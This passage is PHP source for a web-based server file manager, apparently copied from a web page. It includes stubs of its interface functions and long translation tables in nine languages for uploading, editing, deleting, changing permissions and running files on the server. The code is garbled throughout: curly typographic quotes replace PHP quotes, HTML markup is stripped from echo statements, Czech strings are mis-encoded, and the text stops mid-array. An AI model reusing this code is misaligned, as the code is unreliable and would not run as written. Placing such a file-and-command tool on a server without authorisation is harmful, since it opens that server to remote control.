$r = ”;
}
echo “\t ” . word($column) . “$arr

\n”;

}

function directory_choice () {
global $directory, $homedir, $cols, $self;

echo ‘
‘ . word(’directory’) . ‘:

‘;

}

function upload_box () {
global $cols;

echo ‘
‘ . word(’file’) . ‘:

‘;

}

function create_box () {
global $cols;

echo ‘

‘;

}

function edit ($file) {
global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;

html_header();

echo ‘

‘ . html($file) . ‘


‘;

if ($apache && basename($file) == $htpasswd) {
echo ‘
‘ . word(’user’) . ‘:
‘ . word(’password’) . ‘:


‘;

}

if ($apache && basename($file) == $htaccess) {
echo ‘


‘;

}

echo ‘

[ ' . word('back') . ' ]

‘;

html_footer();

}

function spacer () {
global $cols;

echo ‘

‘;

}

function textfieldsize ($content) {

$size = strlen($content) + 5;
if ($size < 30) $size = 30;

return $size;

}

function request_dump () {

foreach ($_REQUEST as $key => $value) {
echo “\t
\n”;
}

}

/* ————————————————————————- */

function html ($string) {
global $site_charset;
return htmlentities($string, ENT_COMPAT, $site_charset);
}

function word ($word) {
global $words, $word_charset;
return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}

function phrase ($phrase, $arguments) {
global $words;
static $search;

if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";

for ($i = 0; $i < sizeof($arguments); $i++) {
$arguments[$i] = nl2br(html($arguments[$i]));
}

$replace = array('{' => ‘

', '}' =>'

‘, ‘[' => '', ']‘ => ‘‘);

return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));

}

function getwords ($lang) {
global $word_charset, $date_format;

switch ($lang) {
case ‘de’:

$date_format = ‘d.m.y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Verzeichnis’,
‘file’ => ‘Datei’,
‘filename’ => ‘Dateiname’,

’size’ => ‘Größe’,
‘permission’ => ‘Rechte’,
‘owner’ => ‘Eigner’,
‘group’ => ‘Gruppe’,
‘other’ => ‘Andere’,
‘functions’ => ‘Funktionen’,

‘read’ => ‘lesen’,
‘write’ => ’schreiben’,
‘execute’ => ‘ausführen’,

‘create_symlink’ => ‘Symlink erstellen’,
‘delete’ => ‘löschen’,
‘rename’ => ‘umbenennen’,
‘move’ => ‘verschieben’,
‘copy’ => ‘kopieren’,
‘edit’ => ‘editieren’,
‘download’ => ‘herunterladen’,
‘upload’ => ‘hochladen’,
‘create’ => ‘erstellen’,
‘change’ => ‘wechseln’,
’save’ => ’speichern’,
’set’ => ’setze’,
‘reset’ => ‘zurücksetzen’,
‘relative’ => ‘Pfad zum Ziel relativ’,

‘yes’ => ‘Ja’,
‘no’ => ‘Nein’,
‘back’ => ‘zurück’,
‘destination’ => ‘Ziel’,
’symlink’ => ‘Symbolischer Link’,
‘no_output’ => ‘keine Ausgabe’,

‘user’ => ‘Benutzername’,
‘password’ => ‘Kennwort’,
‘add’ => ‘hinzufügen’,
‘add_basic_auth’ => ‘HTTP-Basic-Auth hinzufügen’,

‘uploaded’ => ‘”[%1]” wurde hochgeladen.’,
‘not_uploaded’ => ‘”[%1]” konnte nicht hochgeladen werden.’,
‘already_exists’ => ‘”[%1]” existiert bereits.’,
‘created’ => ‘”[%1]” wurde erstellt.’,
‘not_created’ => ‘”[%1]” konnte nicht erstellt werden.’,
‘really_delete’ => ‘Sollen folgende Dateien wirklich gelöscht werden?’,
‘deleted’ => “Folgende Dateien wurden gelöscht:\n[%1]“,
‘not_deleted’ => “Folgende Dateien konnten nicht gelöscht werden:\n[%1]“,
‘rename_file’ => ‘Benenne Datei um:’,
‘renamed’ => ‘”[%1]” wurde in “[%2]” umbenannt.’,
‘not_renamed’ => ‘”[%1] konnte nicht in “[%2]” umbenannt werden.’,
‘move_files’ => ‘Verschieben folgende Dateien:’,
‘moved’ => “Folgende Dateien wurden nach \”[%2]\” verschoben:\n[%1]“,
‘not_moved’ => “Folgende Dateien konnten nicht nach \”[%2]\” verschoben werden:\n[%1]“,
‘copy_files’ => ‘Kopiere folgende Dateien:’,
‘copied’ => “Folgende Dateien wurden nach \”[%2]\” kopiert:\n[%1]“,
‘not_copied’ => “Folgende Dateien konnten nicht nach \”[%2]\” kopiert werden:\n[%1]“,
‘not_edited’ => ‘”[%1]” kann nicht editiert werden.’,
‘executed’ => “\”[%1]\” wurde erfolgreich ausgeführt:\n{%2}”,
‘not_executed’ => “\”[%1]\” konnte nicht erfolgreich ausgeführt werden:\n{%2}”,
’saved’ => ‘”[%1]” wurde gespeichert.’,
‘not_saved’ => ‘”[%1]” konnte nicht gespeichert werden.’,
’symlinked’ => ‘Symbolischer Link von “[%2]” nach “[%1]” wurde erstellt.’,
‘not_symlinked’ => ‘Symbolischer Link von “[%2]” nach “[%1]” konnte nicht erstellt werden.’,
‘permission_for’ => ‘Rechte für “[%1]“:’,
‘permission_set’ => ‘Die Rechte für “[%1]” wurden auf [%2] gesetzt.’,
‘permission_not_set’ => ‘Die Rechte für “[%1]” konnten nicht auf [%2] gesetzt werden.’,
‘not_readable’ => ‘”[%1]” kann nicht gelesen werden.’
);

case ‘fr’:

$date_format = ‘d.m.y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Répertoire’,
‘file’ => ‘Fichier’,
‘filename’ => ‘Nom fichier’,

’size’ => ‘Taille’,
‘permission’ => ‘Droits’,
‘owner’ => ‘Propriétaire’,
‘group’ => ‘Groupe’,
‘other’ => ‘Autres’,
‘functions’ => ‘Fonctions’,

‘read’ => ‘Lire’,
‘write’ => ‘Ecrire’,
‘execute’ => ‘Exécuter’,

‘create_symlink’ => ‘Créer lien symbolique’,
‘delete’ => ‘Effacer’,
‘rename’ => ‘Renommer’,
‘move’ => ‘Déplacer’,
‘copy’ => ‘Copier’,
‘edit’ => ‘Ouvrir’,
‘download’ => ‘Télécharger sur PC’,
‘upload’ => ‘Télécharger sur serveur’,
‘create’ => ‘Créer’,
‘change’ => ‘Changer’,
’save’ => ‘Sauvegarder’,
’set’ => ‘Exécuter’,
‘reset’ => ‘Réinitialiser’,
‘relative’ => ‘Relatif’,

‘yes’ => ‘Oui’,
‘no’ => ‘Non’,
‘back’ => ‘Retour’,
‘destination’ => ‘Destination’,
’symlink’ => ‘Lien symbollique’,
‘no_output’ => ‘Pas de sortie’,

‘user’ => ‘Utilisateur’,
‘password’ => ‘Mot de passe’,
‘add’ => ‘Ajouter’,
‘add_basic_auth’ => ‘add basic-authentification’,

‘uploaded’ => ‘”[%1]” a été téléchargé sur le serveur.’,
‘not_uploaded’ => ‘”[%1]” n a pas été téléchargé sur le serveur.’,
‘already_exists’ => ‘”[%1]” existe déjà.’,
‘created’ => ‘”[%1]” a été créé.’,
‘not_created’ => ‘”[%1]” n a pas pu être créé.’,
‘really_delete’ => ‘Effacer le fichier?’,
‘deleted’ => “Ces fichiers ont été détuits:\n[%1]“,
‘not_deleted’ => “Ces fichiers n ont pu être détruits:\n[%1]“,
‘rename_file’ => ‘Renomme fichier:’,
‘renamed’ => ‘”[%1]” a été renommé en “[%2]“.’,
‘not_renamed’ => ‘”[%1] n a pas pu être renommé en “[%2]“.’,
‘move_files’ => ‘Déplacer ces fichiers:’,
‘moved’ => “Ces fichiers ont été déplacés en \”[%2]\”:\n[%1]“,
‘not_moved’ => “Ces fichiers n ont pas pu être déplacés en \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Copier ces fichiers:’,
‘copied’ => “Ces fichiers ont été copiés en \”[%2]\”:\n[%1]“,
‘not_copied’ => “Ces fichiers n ont pas pu être copiés en \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” ne peut être ouvert.’,
‘executed’ => “\”[%1]\” a été brillamment exécuté :\n{%2}”,
‘not_executed’ => “\”[%1]\” n a pas pu être exécuté:\n{%2}”,
’saved’ => ‘”[%1]” a été sauvegardé.’,
‘not_saved’ => ‘”[%1]” n a pas pu être sauvegardé.’,
’symlinked’ => ‘Un lien symbolique depuis “[%2]” vers “[%1]” a été crée.’,
‘not_symlinked’ => ‘Un lien symbolique depuis “[%2]” vers “[%1]” n a pas pu être créé.’,
‘permission_for’ => ‘Droits de “[%1]“:’,
‘permission_set’ => ‘Droits de “[%1]” ont été changés en [%2].’,
‘permission_not_set’ => ‘Droits de “[%1]” n ont pas pu être changés en[%2].’,
‘not_readable’ => ‘”[%1]” ne peut pas être ouvert.’
);

case ‘it’:

$date_format = ‘d-m-Y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Directory’,
‘file’ => ‘File’,
‘filename’ => ‘Nome File’,

’size’ => ‘Dimensioni’,
‘permission’ => ‘Permessi’,
‘owner’ => ‘Proprietario’,
‘group’ => ‘Gruppo’,
‘other’ => ‘Altro’,
‘functions’ => ‘Funzioni’,

‘read’ => ‘leggi’,
‘write’ => ’scrivi’,
‘execute’ => ‘esegui’,

‘create_symlink’ => ‘crea link simbolico’,
‘delete’ => ‘cancella’,
‘rename’ => ‘rinomina’,
‘move’ => ’sposta’,
‘copy’ => ‘copia’,
‘edit’ => ‘modifica’,
‘download’ => ‘download’,
‘upload’ => ‘upload’,
‘create’ => ‘crea’,
‘change’ => ‘cambia’,
’save’ => ’salva’,
’set’ => ‘imposta’,
‘reset’ => ‘reimposta’,
‘relative’ => ‘Percorso relativo per la destinazione’,

‘yes’ => ‘Si’,
‘no’ => ‘No’,
‘back’ => ‘indietro’,
‘destination’ => ‘Destinazione’,
’symlink’ => ‘Link simbolico’,
‘no_output’ => ‘no output’,

‘user’ => ‘User’,
‘password’ => ‘Password’,
‘add’ => ‘aggiungi’,
‘add_basic_auth’ => ‘aggiungi autenticazione base’,

‘uploaded’ => ‘”[%1]” è stato caricato.’,
‘not_uploaded’ => ‘”[%1]” non è stato caricato.’,
‘already_exists’ => ‘”[%1]” esiste già.’,
‘created’ => ‘”[%1]” è stato creato.’,
‘not_created’ => ‘”[%1]” non è stato creato.’,
‘really_delete’ => ‘Cancello questi file ?’,
‘deleted’ => “Questi file sono stati cancellati:\n[%1]“,
‘not_deleted’ => “Questi file non possono essere cancellati:\n[%1]“,
‘rename_file’ => ‘File rinominato:’,
‘renamed’ => ‘”[%1]” è stato rinominato in “[%2]“.’,
‘not_renamed’ => ‘”[%1] non è stato rinominato in “[%2]“.’,
‘move_files’ => ‘Sposto questi file:’,
‘moved’ => “Questi file sono stati spostati in \”[%2]\”:\n[%1]“,
‘not_moved’ => “Questi file non possono essere spostati in \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Copio questi file’,
‘copied’ => “Questi file sono stati copiati in \”[%2]\”:\n[%1]“,
‘not_copied’ => “Questi file non possono essere copiati in \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” non può essere modificato.’,
‘executed’ => “\”[%1]\” è stato eseguito con successo:\n{%2}”,
‘not_executed’ => “\”[%1]\” non è stato eseguito con successo\n{%2}”,
’saved’ => ‘”[%1]” è stato salvato.’,
‘not_saved’ => ‘”[%1]” non è stato salvato.’,
’symlinked’ => ‘Il link siambolico da “[%2]” a “[%1]” è stato creato.’,
‘not_symlinked’ => ‘Il link siambolico da “[%2]” a “[%1]” non è stato creato.’,
‘permission_for’ => ‘Permessi di “[%1]“:’,
‘permission_set’ => ‘I permessi di “[%1]” sono stati impostati [%2].’,
‘permission_not_set’ => ‘I permessi di “[%1]” non sono stati impostati [%2].’,
‘not_readable’ => ‘”[%1]” non può essere letto.’
);

case ‘nl’:

$date_format = ‘n/j/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Directory’,
‘file’ => ‘Bestand’,
‘filename’ => ‘Bestandsnaam’,

’size’ => ‘Grootte’,
‘permission’ => ‘Bevoegdheid’,
‘owner’ => ‘Eigenaar’,
‘group’ => ‘Groep’,
‘other’ => ‘Anderen’,
‘functions’ => ‘Functies’,

‘read’ => ‘lezen’,
‘write’ => ’schrijven’,
‘execute’ => ‘uitvoeren’,

‘create_symlink’ => ‘maak symlink’,
‘delete’ => ‘verwijderen’,
‘rename’ => ‘hernoemen’,
‘move’ => ‘verplaatsen’,
‘copy’ => ‘kopieren’,
‘edit’ => ‘bewerken’,
‘download’ => ‘downloaden’,
‘upload’ => ‘uploaden’,
‘create’ => ‘aanmaken’,
‘change’ => ‘veranderen’,
’save’ => ‘opslaan’,
’set’ => ‘instellen’,
‘reset’ => ‘resetten’,
‘relative’ => ‘Relatief pat naar doel’,

‘yes’ => ‘Ja’,
‘no’ => ‘Nee’,
‘back’ => ‘terug’,
‘destination’ => ‘Bestemming’,
’symlink’ => ‘Symlink’,
‘no_output’ => ‘geen output’,

‘user’ => ‘Gebruiker’,
‘password’ => ‘Wachtwoord’,
‘add’ => ‘toevoegen’,
‘add_basic_auth’ => ‘add basic-authentification’,

‘uploaded’ => ‘”[%1]” is verstuurd.’,
‘not_uploaded’ => ‘”[%1]” kan niet worden verstuurd.’,
‘already_exists’ => ‘”[%1]” bestaat al.’,
‘created’ => ‘”[%1]” is aangemaakt.’,
‘not_created’ => ‘”[%1]” kan niet worden aangemaakt.’,
‘really_delete’ => ‘Deze bestanden verwijderen?’,
‘deleted’ => “Deze bestanden zijn verwijderd:\n[%1]“,
‘not_deleted’ => “Deze bestanden konden niet worden verwijderd:\n[%1]“,
‘rename_file’ => ‘Bestandsnaam veranderen:’,
‘renamed’ => ‘”[%1]” heet nu “[%2]“.’,
‘not_renamed’ => ‘”[%1] kon niet worden veranderd in “[%2]“.’,
‘move_files’ => ‘Verplaats deze bestanden:’,
‘moved’ => “Deze bestanden zijn verplaatst naar \”[%2]\”:\n[%1]“,
‘not_moved’ => “Kan deze bestanden niet verplaatsen naar \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Kopieer deze bestanden:’,
‘copied’ => “Deze bestanden zijn gekopieerd naar \”[%2]\”:\n[%1]“,
‘not_copied’ => “Deze bestanden kunnen niet worden gekopieerd naar \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” kan niet worden bewerkt.’,
‘executed’ => “\”[%1]\” is met succes uitgevoerd:\n{%2}”,
‘not_executed’ => “\”[%1]\” is niet goed uitgevoerd:\n{%2}”,
’saved’ => ‘”[%1]” is opgeslagen.’,
‘not_saved’ => ‘”[%1]” is niet opgeslagen.’,
’symlinked’ => ‘Symlink van “[%2]” naar “[%1]” is aangemaakt.’,
‘not_symlinked’ => ‘Symlink van “[%2]” naar “[%1]” is niet aangemaakt.’,
‘permission_for’ => ‘Bevoegdheid voor “[%1]“:’,
‘permission_set’ => ‘Bevoegdheid van “[%1]” is ingesteld op [%2].’,
‘permission_not_set’ => ‘Bevoegdheid van “[%1]” is niet ingesteld op [%2].’,
‘not_readable’ => ‘”[%1]” kan niet worden gelezen.’
);

case ’se’:

$date_format = ‘n/j/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Mapp’,
‘file’ => ‘Fil’,
‘filename’ => ‘Filnamn’,

’size’ => ‘Storlek’,
‘permission’ => ‘Säkerhetsnivå’,
‘owner’ => ‘Ägare’,
‘group’ => ‘Grupp’,
‘other’ => ‘Andra’,
‘functions’ => ‘Funktioner’,

‘read’ => ‘Läs’,
‘write’ => ‘Skriv’,
‘execute’ => ‘Utför’,

‘create_symlink’ => ‘Skapa symlink’,
‘delete’ => ‘Radera’,
‘rename’ => ‘Byt namn’,
‘move’ => ‘Flytta’,
‘copy’ => ‘Kopiera’,
‘edit’ => ‘Ändra’,
‘download’ => ‘Ladda ner’,
‘upload’ => ‘Ladda upp’,
‘create’ => ‘Skapa’,
‘change’ => ‘Ändra’,
’save’ => ‘Spara’,
’set’ => ‘Markera’,
‘reset’ => ‘Töm’,
‘relative’ => ‘Relative path to target’,

‘yes’ => ‘Ja’,
‘no’ => ‘Nej’,
‘back’ => ‘Tillbaks’,
‘destination’ => ‘Destination’,
’symlink’ => ‘Symlink’,
‘no_output’ => ‘no output’,

‘user’ => ‘Användare’,
‘password’ => ‘Lösenord’,
‘add’ => ‘Lägg till’,
‘add_basic_auth’ => ‘add basic-authentification’,

‘uploaded’ => ‘”[%1]” har laddats upp.’,
‘not_uploaded’ => ‘”[%1]” kunde inte laddas upp.’,
‘already_exists’ => ‘”[%1]” finns redan.’,
‘created’ => ‘”[%1]” har skapats.’,
‘not_created’ => ‘”[%1]” kunde inte skapas.’,
‘really_delete’ => ‘Radera dessa filer?’,
‘deleted’ => “De här filerna har raderats:\n[%1]“,
‘not_deleted’ => “Dessa filer kunde inte raderas:\n[%1]“,
‘rename_file’ => ‘Byt namn på fil:’,
‘renamed’ => ‘”[%1]” har bytt namn till “[%2]“.’,
‘not_renamed’ => ‘”[%1] kunde inte döpas om till “[%2]“.’,
‘move_files’ => ‘Flytta dessa filer:’,
‘moved’ => “Dessa filer har flyttats till \”[%2]\”:\n[%1]“,
‘not_moved’ => “Dessa filer kunde inte flyttas till \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Kopiera dessa filer:’,
‘copied’ => “Dessa filer har kopierats till \”[%2]\”:\n[%1]“,
‘not_copied’ => “Dessa filer kunde inte kopieras till \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” kan inte ändras.’,
‘executed’ => “\”[%1]\” har utförts:\n{%2}”,
‘not_executed’ => “\”[%1]\” kunde inte utföras:\n{%2}”,
’saved’ => ‘”[%1]” har sparats.’,
‘not_saved’ => ‘”[%1]” kunde inte sparas.’,
’symlinked’ => ‘Symlink från “[%2]” till “[%1]” har skapats.’,
‘not_symlinked’ => ‘Symlink från “[%2]” till “[%1]” kunde inte skapas.’,
‘permission_for’ => ‘Rättigheter för “[%1]“:’,
‘permission_set’ => ‘Rättigheter för “[%1]” ändrades till [%2].’,
‘permission_not_set’ => ‘Permission of “[%1]” could not be set to [%2].’,
‘not_readable’ => ‘”[%1]” kan inte läsas.’
);

case ’sp’:

$date_format = ‘j/n/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Directorio’,
‘file’ => ‘Archivo’,
‘filename’ => ‘Nombre Archivo’,

’size’ => ‘Tamaño’,
‘permission’ => ‘Permisos’,
‘owner’ => ‘Propietario’,
‘group’ => ‘Grupo’,
‘other’ => ‘Otros’,
‘functions’ => ‘Funciones’,

‘read’ => ‘lectura’,
‘write’ => ‘escritura’,
‘execute’ => ‘ejecución’,

‘create_symlink’ => ‘crear enlace’,
‘delete’ => ‘borrar’,
‘rename’ => ‘renombrar’,
‘move’ => ‘mover’,
‘copy’ => ‘copiar’,
‘edit’ => ‘editar’,
‘download’ => ‘bajar’,
‘upload’ => ’subir’,
‘create’ => ‘crear’,
‘change’ => ‘cambiar’,
’save’ => ’salvar’,
’set’ => ’setear’,
‘reset’ => ‘resetear’,
‘relative’ => ‘Path relativo’,

‘yes’ => ‘Si’,
‘no’ => ‘No’,
‘back’ => ‘atrás’,
‘destination’ => ‘Destino’,
’symlink’ => ‘Enlace’,
‘no_output’ => ’sin salida’,

‘user’ => ‘Usuario’,
‘password’ => ‘Clave’,
‘add’ => ‘agregar’,
‘add_basic_auth’ => ‘agregar autentificación básica’,

‘uploaded’ => ‘”[%1]” ha sido subido.’,
‘not_uploaded’ => ‘”[%1]” no pudo ser subido.’,
‘already_exists’ => ‘”[%1]” ya existe.’,
‘created’ => ‘”[%1]” ha sido creado.’,
‘not_created’ => ‘”[%1]” no pudo ser creado.’,
‘really_delete’ => ‘¿Borra estos archivos?’,
‘deleted’ => “Estos archivos han sido borrados:\n[%1]“,
‘not_deleted’ => “Estos archivos no pudieron ser borrados:\n[%1]“,
‘rename_file’ => ‘Renombra archivo:’,
‘renamed’ => ‘”[%1]” ha sido renombrado a “[%2]“.’,
‘not_renamed’ => ‘”[%1] no pudo ser renombrado a “[%2]“.’,
‘move_files’ => ‘Mover estos archivos:’,
‘moved’ => “Estos archivos han sido movidos a \”[%2]\”:\n[%1]“,
‘not_moved’ => “Estos archivos no pudieron ser movidos a \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Copiar estos archivos:’,
‘copied’ => “Estos archivos han sido copiados a \”[%2]\”:\n[%1]“,
‘not_copied’ => “Estos archivos no pudieron ser copiados \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” no pudo ser editado.’,
‘executed’ => “\”[%1]\” ha sido ejecutado correctamente:\n{%2}”,
‘not_executed’ => “\”[%1]\” no pudo ser ejecutado correctamente:\n{%2}”,
’saved’ => ‘”[%1]” ha sido salvado.’,
‘not_saved’ => ‘”[%1]” no pudo ser salvado.’,
’symlinked’ => ‘Enlace desde “[%2]” a “[%1]” ha sido creado.’,
‘not_symlinked’ => ‘Enlace desde “[%2]” a “[%1]” no pudo ser creado.’,
‘permission_for’ => ‘Permisos de “[%1]“:’,
‘permission_set’ => ‘Permisos de “[%1]” fueron seteados a [%2].’,
‘permission_not_set’ => ‘Permisos de “[%1]” no pudo ser seteado a [%2].’,
‘not_readable’ => ‘”[%1]” no pudo ser leído.’
);

case ‘dk’:

$date_format = ‘n/j/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Mappe’,
‘file’ => ‘Fil’,
‘filename’ => ‘Filnavn’,

’size’ => ‘Størrelse’,
‘permission’ => ‘Rettighed’,
‘owner’ => ‘Ejer’,
‘group’ => ‘Gruppe’,
‘other’ => ‘Andre’,
‘functions’ => ‘Funktioner’,

‘read’ => ‘læs’,
‘write’ => ’skriv’,
‘execute’ => ‘kør’,

‘create_symlink’ => ‘opret symbolsk link’,
‘delete’ => ’slet’,
‘rename’ => ‘omdøb’,
‘move’ => ‘flyt’,
‘copy’ => ‘kopier’,
‘edit’ => ‘rediger’,
‘download’ => ‘download’,
‘upload’ => ‘upload’,
‘create’ => ‘opret’,
‘change’ => ’skift’,
’save’ => ‘gem’,
’set’ => ’sæt’,
‘reset’ => ‘nulstil’,
‘relative’ => ‘Relativ sti til valg’,

‘yes’ => ‘Ja’,
‘no’ => ‘Nej’,
‘back’ => ’tilbage’,
‘destination’ => ‘Distination’,
’symlink’ => ‘Symbolsk link’,
‘no_output’ => ‘ingen resultat’,

‘user’ => ‘Bruger’,
‘password’ => ‘Kodeord’,
‘add’ => ’tilføj’,
‘add_basic_auth’ => ’tilføj grundliggende rettigheder’,

‘uploaded’ => ‘”[%1]” er blevet uploaded.’,
‘not_uploaded’ => ‘”[%1]” kunnu ikke uploades.’,
‘already_exists’ => ‘”[%1]” findes allerede.’,
‘created’ => ‘”[%1]” er blevet oprettet.’,
‘not_created’ => ‘”[%1]” kunne ikke oprettes.’,
‘really_delete’ => ‘Slet disse filer?’,
‘deleted’ => “Disse filer er blevet slettet:\n[%1]“,
‘not_deleted’ => “Disse filer kunne ikke slettes:\n[%1]“,
‘rename_file’ => ‘Omdød fil:’,
‘renamed’ => ‘”[%1]” er blevet omdøbt til “[%2]“.’,
‘not_renamed’ => ‘”[%1] kunne ikke omdøbes til “[%2]“.’,
‘move_files’ => ‘Flyt disse filer:’,
‘moved’ => “Disse filer er blevet flyttet til \”[%2]\”:\n[%1]“,
‘not_moved’ => “Disse filer kunne ikke flyttes til \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Kopier disse filer:’,
‘copied’ => “Disse filer er kopieret til \”[%2]\”:\n[%1]“,
‘not_copied’ => “Disse filer kunne ikke kopieres til \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” kan ikke redigeres.’,
‘executed’ => “\”[%1]\” er blevet kørt korrekt:\n{%2}”,
‘not_executed’ => “\”[%1]\” kan ikke køres korrekt:\n{%2}”,
’saved’ => ‘”[%1]” er blevet gemt.’,
‘not_saved’ => ‘”[%1]” kunne ikke gemmes.’,
’symlinked’ => ‘Symbolsk link fra “[%2]” til “[%1]” er blevet oprettet.’,
‘not_symlinked’ => ‘Symbolsk link fra “[%2]” til “[%1]” kunne ikke oprettes.’,
‘permission_for’ => ‘Rettigheder for “[%1]“:’,
‘permission_set’ => ‘Rettigheder for “[%1]” blev sat til [%2].’,
‘permission_not_set’ => ‘Rettigheder for “[%1]” kunne ikke sættes til [%2].’,
‘not_readable’ => ‘”[%1]” Kan ikke læses.’
);

case ‘tr’:

$date_format = ‘n/j/y H:i:s’;
$word_charset = ‘ISO-8859-1′;

return array(
‘directory’ => ‘Klasör’,
‘file’ => ‘Dosya’,
‘filename’ => ‘dosya adi’,

’size’ => ‘boyutu’,
‘permission’ => ‘Izin’,
‘owner’ => ’sahib’,
‘group’ => ‘Grup’,
‘other’ => ‘Digerleri’,
‘functions’ => ‘Fonksiyonlar’,

‘read’ => ‘oku’,
‘write’ => ‘yaz’,
‘execute’ => ‘çalistir’,

‘create_symlink’ => ‘yarat symlink’,
‘delete’ => ’sil’,
‘rename’ => ‘ad degistir’,
‘move’ => ‘tasi’,
‘copy’ => ‘kopyala’,
‘edit’ => ‘düzenle’,
‘download’ => ‘indir’,
‘upload’ => ‘yükle’,
‘create’ => ‘create’,
‘change’ => ‘degistir’,
’save’ => ‘kaydet’,
’set’ => ‘ayar’,
‘reset’ => ’sifirla’,
‘relative’ => ‘Hedef yola göre’,

‘yes’ => ‘Evet’,
‘no’ => ‘Hayir’,
‘back’ => ‘Geri’,
‘destination’ => ‘Hedef’,
’symlink’ => ‘Kýsa yol’,
‘no_output’ => ‘çikti yok’,

‘user’ => ‘Kullanici’,
‘password’ => ‘Sifre’,
‘add’ => ‘ekle’,
‘add_basic_auth’ => ‘ekle basit-authentification’,

‘uploaded’ => ‘”[%1]” yüklendi.’,
‘not_uploaded’ => ‘”[%1]” yüklenemedi.’,
‘already_exists’ => ‘”[%1]” kullanilmakta.’,
‘created’ => ‘”[%1]” olusturuldu.’,
‘not_created’ => ‘”[%1]” olusturulamadi.’,
‘really_delete’ => ‘Bu dosyalari silmek istediginizden eminmisiniz?’,
‘deleted’ => “Bu dosyalar silindi:\n[%1]“,
‘not_deleted’ => “Bu dosyalar silinemedi:\n[%1]“,
‘rename_file’ => ‘Adi degisen dosya:’,
‘renamed’ => ‘”[%1]” adili dosyanin yeni adi “[%2]“.’,
‘not_renamed’ => ‘”[%1] adi degistirilemedi “[%2]” ile.’,
‘move_files’ => ‘Tasinan dosyalar:’,
‘moved’ => “Bu dosyalari tasidiginiz yer \”[%2]\”:\n[%1]“,
‘not_moved’ => “Bu dosyalari tasiyamadiginiz yer \”[%2]\”:\n[%1]“,
‘copy_files’ => ‘Kopyalanan dosyalar:’,
‘copied’ => “Bu dosyalar kopyalandi \”[%2]\”:\n[%1]“,
‘not_copied’ => “Bu dosyalar kopyalanamiyor \”[%2]\”:\n[%1]“,
‘not_edited’ => ‘”[%1]” düzenlenemiyor.’,
‘executed’ => “\”[%1]\” basariyla çalistirildi:\n{%2}”,
‘not_executed’ => “\”[%1]\” çalistirilamadi:\n{%2}”,
’saved’ => ‘”[%1]” kaydedildi.’,
‘not_saved’ => ‘”[%1]” kaydedilemedi.’,
’symlinked’ => ‘”[%2]” den “[%1]” e kýsayol oluþturuldu.’,
‘not_symlinked’ => ‘”[%2]“den “[%1]” e kýsayol oluþturulamadý.’,
‘permission_for’ => ‘Izinler “[%1]“:’,
‘permission_set’ => ‘Izinler “[%1]” degistirildi [%2].’,
‘permission_not_set’ => ‘Izinler “[%1]” degistirilemedi [%2].’,
‘not_readable’ => ‘”[%1]” okunamiyor.’
);

case ‘cs’:

$date_format = ‘d.m.y H:i:s’;
$word_charset = ‘UTF-8′;

return array(
‘directory’ => ‘Adresář’,
‘file’ => ‘Soubor’,
‘filename’ => ‘Jméno souboru’,

’size’ => ‘Velikost’,
‘permission’ => ‘Práva’,
‘owner’ => ‘Vlastník’,
‘group’ => ‘Skupina’,
‘other’ => ‘Ostatní’,
‘functions’ => ‘Funkce’,

‘read’ => ‘ÄŒtení’,
‘write’ => ‘Zápis’,
‘execute’ => ‘SpouÅ¡tÄ›ní’,

‘create_symlink’ => ‘VytvoÅ™it symbolický odkaz’,
‘delete’ => ‘Smazat’,
‘rename’ => ‘PÅ™ejmenovat’,
‘move’ => ‘PÅ™esunout’,
‘copy’ => ‘Zkopírovat’,
‘edit’ => ‘Otevřít’,
‘download’ => ‘Stáhnout’,
‘upload’ => ‘Nahraj na server’,
‘create’ => ‘VytvoÅ™it’,
‘change’ => ‘ZmÄ›nit’,
’save’ => ‘Uložit’,
’set’ => ‘Nastavit’,
‘reset’ => ‘zpÄ›t’,
‘relative’ => ‘Relatif’,

‘yes’ => ‘Ano’,
‘no’ => ‘Ne’,
‘back’ => ‘ZpÄ›t’,
‘destination’ => ‘Destination’,
’symlink’ => ‘Symbolický odkaz’,
‘no_output’ => ‘Prázdný výstup’,

‘user’ => ‘Uživatel’,
‘password’ => ‘Heslo’,
‘add’ => ‘PÅ™idat’,
‘add_basic_auth’ => ‘pÅ™idej základní autentizaci’,

‘uploaded’ => ‘Soubor “[%1]” byl nahrán na server.’,
‘not_uploaded’ => ‘Soubor “[%1]” nebyl nahrán na server.’,
‘already_exists’ => ‘Soubor “[%1]” už exituje.’,
‘created’ => ‘Soubor “[%1]” byl vytvoÅ™en.’,
‘not_created’ => ‘Soubor “[%1]” nemohl být vytvoÅ™en.’,
‘really_delete’ => ‘Vymazat soubor?’,
‘deleted’ => “Byly vymazány tyto soubory:\n[%1]“,
‘not_deleted’ => “Tyto soubory nemohly být vytvoÅ™eny:\n[%1]“,
‘rename_file’ => ‘PÅ™ejmenuj soubory:’,
‘renamed’ => ‘Soubor “[%1]” byl pÅ™ejmenován na “[%2]“.’,
‘not_renamed’ => ‘Soubor “[%1]” nemohl být pÅ™ejmenován na “[%2]“.’,
‘move_files’ => ‘PÅ™emístit tyto soubory:’,
‘moved’ => “Tyto soubory byly pÅ™emístÄ›ny do \”[%2]\”:\n[%1]“,
